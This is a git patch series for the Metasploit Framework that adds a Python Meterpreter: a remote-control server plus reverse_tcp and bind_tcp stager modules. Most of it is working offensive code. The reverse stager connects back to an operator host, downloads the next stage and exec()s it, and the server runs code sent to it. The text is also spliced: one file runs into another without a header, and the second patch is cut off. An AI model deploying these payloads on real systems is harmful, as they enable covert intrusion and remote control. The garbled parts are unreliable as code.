From 2d69174c5b8fa9628b1346914c20bac22ed1ebaa Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 5 Aug 2013 23:38:49 -0400 Subject: [PATCH 1/9] Initial commit of the python meterpreter. --- data/meterpreter/ext_server_stdapi.py | 504 ++++++++++++++++++ data/meterpreter/meterpreter.py | 392 ++++++++++++++ lib/msf/base/sessions/meterpreter_python.rb | 29 + lib/rex/constants.rb | 4 +- modules/payloads/stagers/python/bind_tcp.rb | 55 ++ .../payloads/stagers/python/reverse_tcp.rb | 53 ++ modules/payloads/stages/python/meterpreter.rb | 36 ++ 7 files changed, 1072 insertions(+), 1 deletion(-) create mode 100644 data/meterpreter/ext_server_stdapi.py create mode 100644 data/meterpreter/meterpreter.py create mode 100644 lib/msf/base/sessions/meterpreter_python.rb create mode 100644 modules/payloads/stagers/python/bind_tcp.rb create mode 100644 modules/payloads/stagers/python/reverse_tcp.rb create mode 100644 modules/payloads/stages/python/meterpreter.rb diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py new file mode 100644 index 0000000000..36fdee9d5c --- /dev/null +++ b/data/meterpreter/ext_server_stdapi.py @@ -0,0 +1,504 @@ +import os +import sys +import shlex +import socket +import struct +import shutil +import fnmatch +import getpass +import platform +import subprocess + +## +# STDAPI +## + +# +# TLV Meta Types +# +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_COMPRESSED = (1 << 29) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) +# not defined in original +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) + +# +# TLV Specific Types +# +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 + +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 + +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 + +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 + +## +# General +## +TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 + +## +# Fs +## +TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 +TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 +TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 +TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 +TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 + +TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 + +TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 +TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 +TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 +TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 + +## +# Net +## +TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 +TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 + +TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 +TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 +TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 +TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 + +TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 +TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 +TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 +TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 + +TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 +TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 +TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 + +# Socket +TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 +TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 +TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 +TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 +TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 + +TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 + +## +# Sys +## +PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) +PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) +PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) +PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) + +# Registry +TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY +TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 +TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 +TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 +TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 +TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 +TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 + +# Config +TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 +TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 +TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 +TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 + +DELETE_KEY_FLAG_RECURSIVE = (1 << 0) + +# Process +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 +TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 +TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 +TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 +TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 +TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 +TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 +TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 +TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 +TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 +TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 +TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 +TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 +TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 + +TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 +TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 +TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 +TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 + +TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 +TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 +TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 + +TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 +TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 +TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 +TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 + +## +# Ui +## +TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 +TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 +TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 + +## +# Event Log +## +TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 + +TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 +TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 + +TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 +TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 +TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 +TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 +TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010 +TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 +TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 +TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 + +## +# Power +## +TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 +TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 + +## +# Errors +## +ERROR_SUCCESS = 0 +# not defined in original C implementation +ERROR_FAILURE = 1 + +# Special return value to match up with Windows error codes for network +# errors. +ERROR_CONNECTION_ERROR = 10000 + +def get_stat_buffer(path): + si = os.stat(path) + rdev = 0 + if hasattr(si, 'st_rdev'): + rdev = si.st_rdev + blksize = 0 + if hasattr(si, 'st_blksize'): + blksize = si.st_blksize + blocks = 0 + if hasattr(si, 'st_blocks'): + blocks = si.st_blocks + st_buf = struct.pack('II', pkt[offset:offset+8]) + if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: + val = pkt[offset+8:(offset+8+(tlv[0] - 8))] + if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + val = val.split('\x00', 1)[0] + elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + val = bool(struct.unpack('b', val)[0]) + elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + pass + return {'type':tlv[1], 'length':tlv[0], 'value':val} + offset += tlv[0] + return {} + +def tlv_pack(*args): + if len(args) == 2: + tlv = {'type':args[0], 'value':args[1]} + else: + tlv = args[0] + data = "" + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' + elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + return data + +class STDProcessBuffer(threading.Thread): + def __init__(self, std, is_alive): + threading.Thread.__init__(self) + self.std = std + self.is_alive = is_alive + self.data = '' + self.data_lock = threading.RLock() + + def run(self): + while self.is_alive(): + byte = self.std.read(1) + self.data_lock.acquire() + self.data += byte + self.data_lock.release() + self.data_lock.acquire() + self.data += self.std.read() + self.data_lock.release() + + def is_read_ready(self): + return len(self.data) != 0 + + def read(self, l = None): + data = '' + self.data_lock.acquire() + if l == None: + data = self.data + self.data = '' + else: + data = self.data[0:l] + self.data = self.data[l:] + self.data_lock.release() + return data + +class STDProcess(subprocess.Popen): + def __init__(self, *args, **kwargs): + subprocess.Popen.__init__(self, *args, **kwargs) + self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) + self.stdout_reader.start() + self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) + self.stderr_reader.start() + +class PythonMeterpreter(object): + def __init__(self, socket): + self.socket = socket + self.extension_functions = {} + self.channels = {} + self.interact_channels = [] + self.processes = {} + for func in filter(lambda x: x.startswith('_core'), dir(self)): + self.extension_functions[func[1:]] = getattr(self, func) + self.running = True + + def register_function(self, func): + self.extension_functions[func.__name__] = func + + def run(self): + while self.running: + if len(select.select([self.socket], [], [], 0)[0]): + request = self.socket.recv(8) + if len(request) != 8: + break + req_length, req_type = struct.unpack('>II', request) + req_length -= 8 + request = '' + while len(request) < req_length: + request += self.socket.recv(4096) + print('[+] received ' + str(len(request)) + ' bytes') + response = self.create_response(request) + self.socket.send(response) + print('[+] sent ' + str(len(response)) + ' bytes') + else: + channels_for_removal = [] + channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + for channel_id in channel_ids: + channel = self.channels[channel_id] + data = '' + if isinstance(channel, STDProcess): + if not channel_id in self.interact_channels: + continue + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() + elif channel.stderr_reader.is_read_ready(): + data = channel.stderr_reader.read() + elif channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + elif isinstance(channel, socket._socketobject): + while len(select.select([channel.fileno()], [], [], 0)[0]): + try: + d = channel.recv(1) + except socket.error: + d = '' + if len(d) == 0: + self.handle_dead_resource_channel(channel_id) + break + data += d + if data: + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + print('[+] sent ' + str(len(pkt)) + ' bytes') + + def handle_dead_resource_channel(self, channel_id): + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + print('[+] sent ' + str(len(pkt)) + ' bytes') + + def _core_loadlib(self, request, response): + data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) + if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + return ERROR_FAILURE + preloadlib_methods = self.extension_functions.keys() + i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + i.runcode(compile(data_tlv['value'], '', 'exec')) + postloadlib_methods = self.extension_functions.keys() + new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + for method in new_methods: + response += tlv_pack(TLV_TYPE_METHOD, method) + return ERROR_SUCCESS, response + + def _core_shutdown(self, request, response): + response += tlv_pack(TLV_TYPE_BOOL, True) + self.running = False + return ERROR_SUCCESS, response + + def _core_channel_open(self, request, response): + channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) + handler = 'channel_create_' + channel_type['value'] + if handler not in self.extension_functions: + return ERROR_FAILURE, response + handler = self.extension_functions[handler] + return handler(request, response) + + def _core_channel_close(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + if isinstance(channel, file): + channel.close() + elif isinstance(channel, subprocess.Popen): + channel.kill() + elif isinstance(s, socket._socketobject): + channel.close() + else: + return ERROR_FAILURE, response + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_eof(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + result = False + if isinstance(channel, file): + result = channel.tell() == os.fstat(channel.fileno()).st_size + response += tlv_pack(TLV_TYPE_BOOL, result) + return ERROR_SUCCESS, response + + def _core_channel_interact(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] + if toggle: + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + else: + self.interact_channels.append(channel_id) + elif channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_read(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + if isinstance(channel, file): + data = channel.read(length) + elif isinstance(channel, STDProcess): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read(length) + elif isinstance(s, socket._socketobject): + data = channel.recv(length) + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + return ERROR_SUCCESS, response + + def _core_channel_write(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + l = len(channel_data) + if isinstance(channel, file): + channel.write(channel_data) + elif isinstance(channel, subprocess.Popen): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + channel.stdin.write(channel_data) + elif isinstance(s, socket._socketobject): + try: + l = channel.send(channel_data) + except socket.error: + channel.close() + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_LENGTH, l) + return ERROR_SUCCESS, response + + def create_response(self, request): + resp = struct.pack('>I', PACKET_TYPE_RESPONSE) + method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) + resp += tlv_pack(method_tlv) + + reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) + resp += tlv_pack(reqid_tlv) + + print("[*] running method: " + method_tlv['value']) + if method_tlv['value'] in self.extension_functions: + handler = self.extension_functions[method_tlv['value']] + try: + result, resp = handler(request, resp) + except Exception, err: + print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err)) + result = ERROR_FAILURE + else: + result = ERROR_FAILURE + if result == ERROR_FAILURE: + print("[*] method: " + method_tlv['value'] + " failed") + + resp += tlv_pack(TLV_TYPE_RESULT, result) + resp = struct.pack('>I', len(resp) + 4) + resp + return resp +print("[+] starting meterpreter") +met = PythonMeterpreter(s) +met.run() diff --git a/lib/msf/base/sessions/meterpreter_python.rb b/lib/msf/base/sessions/meterpreter_python.rb new file mode 100644 index 0000000000..a987c893a4 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_python.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_Python_Python < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'python/python' + self.binary_suffix = 'py' + end +end + +end +end + diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 1c9aaf6ef6..fd13b19b8b 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -84,6 +84,7 @@ ARCH_ARMBE = 'armbe' ARCH_JAVA = 'java' ARCH_RUBY = 'ruby' ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' ARCH_TYPES = [ ARCH_X86, @@ -103,7 +104,8 @@ ARCH_TYPES = ARCH_TTY, ARCH_JAVA, ARCH_RUBY, - ARCH_DALVIK + ARCH_DALVIK, + ARCH_PYTHON ] ARCH_ALL = ARCH_TYPES diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb new file mode 100644 index 0000000000..e5353ce301 --- /dev/null +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -0,0 +1,55 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Bind TCP Stager', + 'Description' => 'Python connect stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s.listen(1)\n" + cmd += "c,a=s.accept()\n" + cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd += "d=s.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += "\td+=c.recv(4096)\n" + cmd += "exec(d,{'s':c})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb new file mode 100644 index 0000000000..da311cb4ce --- /dev/null +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -0,0 +1,53 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Reverse TCP Stager', + 'Description' => 'Reverse Python connect back stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd += "d=s.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += "\td+=s.recv(4096)\n" + cmd += "exec(d,{'s':s})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb new file mode 100644 index 0000000000..6e6f036240 --- /dev/null +++ b/modules/payloads/stages/python/meterpreter.rb @@ -0,0 +1,36 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/meterpreter_python' +require 'msf/base/sessions/meterpreter_options' + + +module Metasploit3 + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Python Meterpreter', + 'Description' => 'Run a meterpreter server in Python', + 'Author' => ['Spencer McIntyre'], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + end + + def generate_stage + file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") + + met = File.open(file, "rb") {|f| + f.read(f.stat.size) + } + met + end +end From f3f4290783916d56eac80dae4d78305db78b2ceb Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 6 Aug 2013 22:33:43 -0400 Subject: [PATCH 2/9] Add process enumeration for windows. --- data/meterpreter/ext_server_stdapi.py | 156 ++++++++++++++++++++++++-- 1 file changed, 144 insertions(+), 12 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 36fdee9d5c..f0b49f1145 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,6 +1,7 @@ import os import sys import shlex +import ctypes import socket import struct import shutil @@ -9,6 +10,43 @@ import getpass import platform import subprocess +has_windll = hasattr(ctypes, 'windll') + +try: + import pwd + has_pwd = True +except ImportError: + has_pwd = False + +class PROCESSENTRY32(ctypes.Structure): + _fields_ = [("dwSize", ctypes.c_uint32), + ("cntUsage", ctypes.c_uint32), + ("th32ProcessID", ctypes.c_uint32), + ("th32DefaultHeapID", ctypes.c_void_p), + ("th32ModuleID", ctypes.c_uint32), + ("cntThreads", ctypes.c_uint32), + ("th32ParentProcessID", ctypes.c_uint32), + ("thPriClassBase", ctypes.c_int32), + ("dwFlags", ctypes.c_uint32), + ("szExeFile", (ctypes.c_char * 260))] + +class SYSTEM_INFO(ctypes.Structure): + _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), + ("wReserved", ctypes.c_uint16), + ("dwPageSize", ctypes.c_uint32), + ("lpMinimumApplicationAddress", ctypes.c_void_p), + ("lpMaximumApplicationAddress", ctypes.c_void_p), + ("dwActiveProcessorMask", ctypes.c_uint32), + ("dwNumberOfProcessors", ctypes.c_uint32), + ("dwProcessorType", ctypes.c_uint32), + ("dwAllocationGranularity", ctypes.c_uint32), + ("wProcessorLevel", ctypes.c_uint16), + ("wProcessorRevision", ctypes.c_uint16),] + +class SID_AND_ATTRIBUTES(ctypes.Structure): + _fields_ = [("Sid", ctypes.c_void_p), + ("Attributes", ctypes.c_uint32),] + ## # STDAPI ## @@ -103,14 +141,6 @@ TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 -## -# Sys -## -PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) -PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) -PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) -PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 